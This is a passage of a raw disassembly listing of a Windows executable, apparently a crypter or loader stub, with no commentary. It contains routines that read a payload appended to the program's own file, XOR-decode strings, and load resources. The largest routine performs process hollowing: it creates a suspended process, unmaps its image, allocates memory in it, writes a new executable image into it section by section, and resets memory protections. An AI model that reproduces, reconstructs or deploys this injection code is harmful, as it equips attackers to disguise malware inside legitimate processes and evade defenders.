		mov	ecx, [ebp+var_C]
		lea	eax, [ebp+var_15C]
		call	sub_4017A8
		call	sub_401228
		mov	eax, esi
		mov	edx, [ebp+var_8]
		call	sub_401F0C
		lea	eax, [ebp+var_15C]
		call	sub_4017E8
		call	sub_401228
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402E30


loc_402E1B:				; CODE XREF: sub_402CDC+152j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_402E29:				; DATA XREF: sub_402CDC+21o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402E1B
; ---------------------------------------------------------------------------


loc_402E30:				; CODE XREF: sub_402CDC+14Cj
					; DATA XREF: sub_402CDC+13Ao
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402CDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E38	proc near		; CODE XREF: CODE:004040A8p
					; CODE:004041DDp ...

var_174		= byte ptr -174h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_14C		= byte ptr -14Ch
var_146		= word ptr -146h
var_54		= byte ptr -54h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_402FA2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_4]
		call	sub_402058
		push	eax
		call	sub_402AC4	; CreateFileA
		mov	esi, eax
		push	0
		push	0
		push	0
		push	esi
		call	sub_402B4C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	40h
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		call	sub_402B34	; ReadFile
		cmp	[ebp+var_10], 40h
		jnz	loc_402F86
		push	0
		push	0
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_402B4C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	0F8h
		lea	eax, [ebp+var_14C]
		push	eax
		push	esi
		call	sub_402B34	; ReadFile
		cmp	[ebp+var_10], 0F8h
		jnz	loc_402F7E
		push	1
		push	0
		movzx	eax, [ebp+var_146]
		dec	eax
		shl	eax, 3
		lea	eax, [eax+eax*4]
		push	eax
		push	esi
		call	sub_402B4C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	28h
		lea	eax, [ebp+var_174]
		push	eax
		push	esi
		call	sub_402B34	; ReadFile
		mov	eax, [ebp+var_160]
		add	eax, [ebp+var_164]
		mov	[ebp+var_14], eax
		push	0
		push	esi
		call	sub_402B04	; GetFileSize
		mov	edi, eax
		sub	edi, [ebp+var_14]
		test	edi, edi
		jbe	short loc_402F76
		push	0
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		push	esi
		call	sub_402B4C	; SetFilePointer
		mov	eax, edi
		call	sub_401144
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	eax
		push	esi
		call	sub_402B34	; ReadFile
		cmp	edi, [ebp+var_10]
		jnz	short loc_402F6E
		mov	bl, 1
		mov	eax, [ebp+var_C]
		mov	[eax], edi
		push	esi
		call	sub_402AB4	; CloseHandle
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F6E:				; CODE XREF: sub_402E38+125j
		push	esi
		call	sub_402AB4	; CloseHandle
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F76:				; CODE XREF: sub_402E38+F3j
		push	esi
		call	sub_402AB4	; CloseHandle
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F7E:				; CODE XREF: sub_402E38+A1j
		push	esi
		call	sub_402AB4	; CloseHandle
		jmp	short loc_402F8C
; ---------------------------------------------------------------------------


loc_402F86:				; CODE XREF: sub_402E38+6Ej
		push	esi
		call	sub_402AB4	; CloseHandle


loc_402F8C:				; CODE XREF: sub_402E38+134j
					; sub_402E38+13Cj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402FA9


loc_402F99:				; CODE XREF: sub_402E38+16Fj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_402FA2:				; DATA XREF: sub_402E38+20o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402F99
; ---------------------------------------------------------------------------


loc_402FA9:				; CODE XREF: sub_402E38+169j
					; DATA XREF: sub_402E38+15Co
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FB4	proc near		; CODE XREF: sub_403038+2Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403029
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	esi, eax
		test	esi, esi
		jle	short loc_403008
		mov	ebx, 1


loc_402FEE:				; CODE XREF: sub_402FB4+52j
		lea	eax, [ebp+var_4]
		call	sub_4020AC
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx+ebx-1]
		xor	edx, edi
		mov	[eax+ebx-1], dl
		inc	ebx
		dec	esi
		jnz	short loc_402FEE


loc_403008:				; CODE XREF: sub_402FB4+33j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_401E18
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403030


loc_403020:				; CODE XREF: sub_402FB4+7Aj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403029:				; DATA XREF: sub_402FB4+1Co
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403020
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402FB4+74j
					; DATA XREF: sub_402FB4+67o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_402FB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403038	proc near		; CODE XREF: CODE:004043D7p

var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4030DE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_4]
		mov	edx, offset aA7qmt ; "a7qmt"
		mov	eax, 19h
		call	sub_402FB4
		lea	eax, [ebp+var_104]
		xor	ecx, ecx
		mov	edx, 100h
		call	sub_4018A8
		push	0
		push	2
		push	2
		push	0
		push	2
		push	40000000h
		mov	eax, [ebp+var_4]
		call	sub_402058
		mov	ebx, eax
		push	ebx
		call	sub_402AC4	; CreateFileA
		push	eax
		call	sub_402AB4	; CloseHandle
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		push	ebx
		call	sub_402BC4	; FindExecutableA
		push	ebx
		call	sub_402AD4	; DeleteFileA
		mov	eax, esi
		lea	edx, [ebp+var_104]
		mov	ecx, 100h
		call	sub_401EEC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4030E5


loc_4030D5:				; CODE XREF: sub_403038+ABj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_4030DE:				; DATA XREF: sub_403038+15o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_4030D5
; ---------------------------------------------------------------------------


loc_4030E5:				; CODE XREF: sub_403038+A5j
					; DATA XREF: sub_403038+98o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403038	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 5
aA7qmt		db 'a7qmt',0            ; DATA XREF: sub_403038+23o
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4030FC	proc near		; CODE XREF: CODE:00404211p
					; CODE:00404226p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_401A74
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_401840
		mov	eax, esi
		mov	edx, esp
		call	sub_401EE0
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_4030FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403134	proc near		; CODE XREF: sub_403168+B2p
					; sub_403168+F9p
		push	ecx
		mov	edx, esp
		call	sub_401A80
		pop	edx
		retn
sub_403134	endp

; ---------------------------------------------------------------------------
		align 10h
off_403140	dd offset dword_403144	; DATA XREF: sub_403168+7Br
					; sub_403168+12Cr ...
dword_403144	dd 322E0211h, 4			dd offset off_401000
		dd 48h
		dd offset off_401000
		dd 746E750Ch, 636E5F46h, 6E6F6974h, 408D73h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403168	proc near		; CODE XREF: CODE:004040F2p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403334
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		call	sub_401E5C


loc_40319D:				; CODE XREF: sub_403168+60j
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_40334C
		call	sub_40213C
		mov	ecx, eax
		lea	eax, [ebp+var_10]
		mov	edx, 1
		call	sub_4020F4
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_40334C
		call	sub_40213C
		test	eax, eax
		jg	short loc_40319D
		xor	edi, edi
		lea	eax, [ebp+var_C]
		mov	edx, 4
		call	sub_402B84
		push	1
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, off_403140
		call	sub_4027E8
		add	esp, 4
		jmp	loc_4032C7
; ---------------------------------------------------------------------------


loc_4031F6:				; CODE XREF: sub_403168+16Ej
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403358
		call	sub_40213C
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_10]
		call	sub_4020B4
		mov	eax, [ebp+var_14]
		call	sub_403134
		mov	ebx, eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403358
		call	sub_40213C
		mov	ecx, eax
		lea	eax, [ebp+var_10]
		mov	edx, 1
		call	sub_4020F4
		lea	eax, [ebp+var_18]
		push	eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403364
		call	sub_40213C
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_10]
		call	sub_4020B4
		mov	eax, [ebp+var_18]
		call	sub_403134
		mov	esi, eax
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403364
		call	sub_40213C
		mov	ecx, eax
		lea	eax, [ebp+var_10]
		mov	edx, 1
		call	sub_4020F4
		cmp	edi, ebx
		jg	short loc_4032A2
		lea	edi, [ebx+1]
		push	edi
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, off_403140
		call	sub_4027E8
		add	esp, 4


loc_4032A2:				; CODE XREF: sub_403168+11Ej
		mov	eax, [ebp+var_C]
		lea	eax, [eax+ebx*4]
		push	eax
		mov	ecx, esi
		mov	edx, 1
		mov	eax, [ebp+var_4]
		call	sub_4020B4
		lea	eax, [ebp+var_4]
		mov	ecx, esi
		mov	edx, 1
		call	sub_4020F4


loc_4032C7:				; CODE XREF: sub_403168+89j
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_403364
		call	sub_40213C
		test	eax, eax
		jg	loc_4031F6
		mov	eax, [ebp+var_8]
		call	sub_401DC4
		mov	ebx, edi
		dec	ebx
		test	ebx, ebx
		jl	short loc_403303
		inc	ebx
		xor	esi, esi


loc_4032EE:				; CODE XREF: sub_403168+199j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	edx, [edx+esi*4]
		call	sub_401F0C
		mov	eax, [ebp+var_8]
		inc	esi
		dec	ebx
		jnz	short loc_4032EE


loc_403303:				; CODE XREF: sub_403168+181j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40333B


loc_403310:				; CODE XREF: sub_403168+1D1j
		lea	eax, [ebp+var_18]
		mov	edx, 3
		call	sub_401DE8
		lea	eax, [ebp+var_C]
		mov	edx, off_403140
		call	sub_4027F4
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403334:				; DATA XREF: sub_403168+1Fo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403310
; ---------------------------------------------------------------------------


loc_40333B:				; CODE XREF: sub_403168+1CBj
					; DATA XREF: sub_403168+1A3o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403168	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40334C	dd 1, 0FFFFFFFFh, 1					; sub_403168+54o
dword_403358	dd 3Ah,	0FFFFFFFFh, 1					; sub_403168+BCo
dword_403364	dd 3Bh							; sub_403168+103o ...

; =============== S U B	R O U T	I N E =======================================



sub_403368	proc near		; CODE XREF: CODE:00404000p
					; CODE:00404059p ...
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah
		push	edx
		mov	eax, ds:dword_4064AC
		push	eax
		call	sub_402AE4	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_4064AC
		push	eax
		call	sub_402B64	; SizeofResource
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_4064AC
		push	eax
		call	sub_402B24	; LoadResource
		mov	ebx, eax
		push	ebx
		call	sub_402B2C	; SetHandleCount
		mov	esi, eax
		test	esi, esi
		jz	short loc_4033AA
		push	ebx
		call	sub_402AEC	; FreeResource


loc_4033AA:				; CODE XREF: sub_403368+3Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_403368	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033B0	proc near		; CODE XREF: CODE:004041F7p
					; CODE:0040442Ap ...

var_109		= byte ptr -109h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF4h
		push	ebx
		push	esi
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403438
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_401DC4
		lea	eax, [ebp+var_109]
		xor	ecx, ecx
		mov	edx, 104h
		call	sub_4018A8
		mov	ebx, 104h
		push	ebx
		lea	eax, [ebp+var_109]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_402058
		push	eax
		call	sub_402AF4	; GetEnvironmentVariableA
		mov	ebx, eax
		test	ebx, ebx
		jbe	short loc_403422
		mov	eax, esi
		lea	edx, [ebp+var_109]
		mov	ecx, 105h
		call	sub_401EEC


loc_403422:				; CODE XREF: sub_4033B0+5Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40343F


loc_40342F:				; CODE XREF: sub_4033B0+8Dj
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403438:				; DATA XREF: sub_4033B0+1Bo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_40342F
; ---------------------------------------------------------------------------


loc_40343F:				; CODE XREF: sub_4033B0+87j
					; DATA XREF: sub_4033B0+7Ao
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4033B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403448	proc near		; DATA XREF: CODE:00403F98o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40346D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064C4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403474


loc_40346C:				; CODE XREF: sub_403448+2Aj
		retn
; ---------------------------------------------------------------------------


loc_40346D:				; DATA XREF: sub_403448+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_40346C
; ---------------------------------------------------------------------------


loc_403474:				; CODE XREF: sub_403448:loc_40346Cj
					; DATA XREF: sub_403448+1Fo
		pop	ebp
		retn
sub_403448	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403478	proc near		; DATA XREF: CODE:00403F94o
		sub	ds:dword_4064C4, 1
		retn
sub_403478	endp


; =============== S U B	R O U T	I N E =======================================



sub_403480	proc near		; CODE XREF: sub_403640+16Ep
		lea	edx, [eax+18h]
		movzx	eax, word ptr [eax+14h]
		add	edx, eax
		mov	eax, edx
		retn
sub_403480	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40348C	proc near		; CODE XREF: sub_403640+135p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4064CC, 0
		jnz	short loc_4034B5
		push	offset aVirtualallocex ; "VirtualAllocEx"
		push	offset aKernel32_dll ; "kernel32.dll"
		call	sub_402B0C	; GetModuleHandleA
		push	eax
		call	sub_402B14	; GetProcAddress
		mov	ds:dword_4064CC, eax


loc_4034B5:				; CODE XREF: sub_40348C+Dj
		cmp	ds:dword_4064CC, 0
		jnz	short loc_4034C7
		push	78h
		call	sub_402B54	; RtlSetLastWin32Error
		jmp	short loc_4034E3
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_40348C+30j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4064CC	; VirtualAllocEx
		mov	ebx, eax


loc_4034E3:				; CODE XREF: sub_40348C+39j
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	14h
sub_40348C	endp

; ---------------------------------------------------------------------------
		align 4
aVirtualallocex	db 'VirtualAllocEx',0   ; DATA XREF: sub_40348C+Fo
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40348C+14o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40350C	proc near		; CODE XREF: sub_403640+1CFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4064D0, 0
		jnz	short loc_403535
		push	offset aVirtualprotect ; "VirtualProtectEx"
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	sub_402B0C	; GetModuleHandleA
		push	eax
		call	sub_402B14	; GetProcAddress
		mov	ds:dword_4064D0, eax


loc_403535:				; CODE XREF: sub_40350C+Dj
		cmp	ds:dword_4064D0, 0
		jnz	short loc_403547
		push	78h
		call	sub_402B54	; RtlSetLastWin32Error
		jmp	short loc_403563
; ---------------------------------------------------------------------------


loc_403547:				; CODE XREF: sub_40350C+30j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4064D0	; VirtualProtectEx
		mov	ebx, eax


loc_403563:				; CODE XREF: sub_40350C+39j
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	14h
sub_40350C	endp

; ---------------------------------------------------------------------------
		align 4
aVirtualprotect	db 'VirtualProtectEx',0 ; DATA XREF: sub_40350C+Fo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40350C+14o
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403590	proc near		; CODE XREF: sub_403640+F9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4064D4, 0
		jnz	short loc_4035B6
		push	offset aZwunmapviewofs ; "ZwUnmapViewOfSection"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_402B0C	; GetModuleHandleA
		push	eax
		call	sub_402B14	; GetProcAddress
		mov	ds:dword_4064D4, eax


loc_4035B6:				; CODE XREF: sub_403590+Aj
		cmp	ds:dword_4064D4, 0
		jnz	short loc_4035C6
		mov	eax, 0C0000002h
		jmp	short loc_4035D4
; ---------------------------------------------------------------------------


loc_4035C6:				; CODE XREF: sub_403590+2Dj
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4064D4	; ZwUnmapViewOfSection


loc_4035D4:				; CODE XREF: sub_403590+34j
		pop	ebp
		retn	8
sub_403590	endp

; ---------------------------------------------------------------------------
aZwunmapviewofs	db 'ZwUnmapViewOfSection',0 ; DATA XREF: sub_403590+Co
		align 10h
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_403590+11o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035FC	proc near		; DATA XREF: CODE:00403FA0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403621
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064C8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403628


loc_403620:				; CODE XREF: sub_4035FC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403621:				; DATA XREF: sub_4035FC+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403620
; ---------------------------------------------------------------------------


loc_403628:				; CODE XREF: sub_4035FC:loc_403620j
					; DATA XREF: sub_4035FC+1Fo
		pop	ebp
		retn
sub_4035FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40362C	proc near		; DATA XREF: CODE:00403F9Co
		sub	ds:dword_4064C8, 1
		retn
sub_40362C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403634	proc near		; CODE XREF: sub_403640+1B8p
		shr	eax, 1Dh
		mov	eax, ds:dword_4050A4[eax*4]
		retn
sub_403634	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403640	proc near		; CODE XREF: CODE:0040439Fp
					; CODE:004043E2p

var_148		= dword	ptr -148h
var_A4		= dword	ptr -0A4h
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_4C		= word ptr -4Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_402048
		mov	eax, [ebp+var_C]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_4038B3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_D], 0
		lea	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_4018A8
		lea	eax, [ebp+var_7C]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_4018A8
		mov	[ebp+var_7C], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_4C], ax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_402058
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_402058
		push	eax
		call	sub_402ACC	; CreateProcessA
		test	eax, eax
		jz	loc_403898
		mov	[ebp+var_E], 0
		xor	eax, eax
		push	ebp
		push	offset loc_403891
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_148], 10002h
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	sub_402B1C	; GetThreadContext
		test	eax, eax
		jz	loc_403863
		lea	eax, [ebp+var_18]
		push	eax
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_402B3C	; ReadProcessMemory
		test	eax, eax
		jz	loc_403863
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_403590
		test	eax, eax
		jl	loc_403863
		cmp	[ebp+var_4], 0
		jz	loc_403863
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_40348C
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403863
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_402B7C	; WriteProcessMemory
		test	eax, eax
		jz	loc_403863
		mov	eax, [ebp+var_1C]
		call	sub_403480
		mov	esi, eax
		mov	eax, [ebp+var_1C]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	short loc_40381A
		inc	eax
		mov	[ebp+var_28], eax
		xor	ebx, ebx


loc_4037C7:				; CODE XREF: sub_403640+1D8j
		lea	eax, [ebp+var_20]
		push	eax
		lea	edi, [ebx+ebx*4]
		mov	eax, [esi+edi*8+10h]
		push	eax
		mov	eax, [esi+edi*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_402B7C	; WriteProcessMemory
		test	eax, eax
		jz	short loc_403814
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, [esi+edi*8+24h]
		call	sub_403634
		push	eax
		mov	eax, [esi+edi*8+8]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_40350C


loc_403814:				; CODE XREF: sub_403640+1AEj
		inc	ebx
		dec	[ebp+var_28]
		jnz	short loc_4037C7


loc_40381A:				; CODE XREF: sub_403640+17Fj
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_402B7C	; WriteProcessMemory
		test	eax, eax
